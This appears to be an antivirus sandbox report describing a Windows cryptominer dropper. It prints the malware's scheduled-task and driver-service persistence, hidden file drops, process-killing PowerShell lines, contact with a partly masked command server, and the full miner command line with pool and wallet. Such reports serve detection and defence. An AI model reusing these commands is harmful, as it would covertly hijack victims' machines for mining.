Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windows security
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\Security\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Microsoft\Security\WinRing0x64.sys
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /PID 2624
Injects code into
the following user processes:
- c.exe
Modifies file system
Creates the following files
- %APPDATA%\microsoft\security\windows security.exe
- nul
- %TEMP%\tmpacf1.vbs
- %APPDATA%\microsoft\security\c.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\security\windows security.exe
- %APPDATA%\microsoft\security\c.exe
Deletes the following files
- %TEMP%\tmpacf1.vbs
Deletes itself.
Network activity
Connects to
- '19#.#33.48.87':27941
- 'po##.#ashvault.pro':80
TCP
HTTP GET requests
- http://19#.##3.48.87:27941/c/ via 19#.#33.48.87
HTTP POST requests
- http://19#.##3.48.87:27941/ via 19#.#33.48.87
Other
- 'po##.#ashvault.pro':80
UDP
- DNS ASK po##.#ashvault.pro
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'SHELLDLL_DefView' WindowName: ''
- ClassName: 'SysListView32' WindowName: 'FolderView'
Creates and executes the following
- '%APPDATA%\microsoft\security\windows security.exe'
- '<SYSTEM32>\cscript.exe' //nologo %TEMP%\tmpACF1.vbs
- '%APPDATA%\microsoft\security\c.exe' --coin=XMR --url pool.hashvault.pro:80 --user 42CzrSj7VTyRt1GB5tERnaSBJSEBJanQVgErPXHmBhCWQ3hzpvfFJUvAVommbRU65dKYyGRK2pHZdcHBE41nEQ13FoARFM6 --pass kekso --donate-level 1 --tls --tls-fingerpri...
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\Windows Security.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /PID 2624 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate(...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : ...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\Windows Security.exe"
- '<SYSTEM32>\cmd.exe' /c taskkill /F /PID 2624 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate(...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate()"
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : ...
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\c.exe" --coin=XMR --url pool.hashvault.pro:80 --user 42CzrSj7VTyRt1GB5tERnaSBJSEBJanQVgErPXHmBhCWQ3hzpvfFJUvAVommbRU65dKYyGRK2pHZdcHBE41nEQ13FoARFM6 --pass keks...
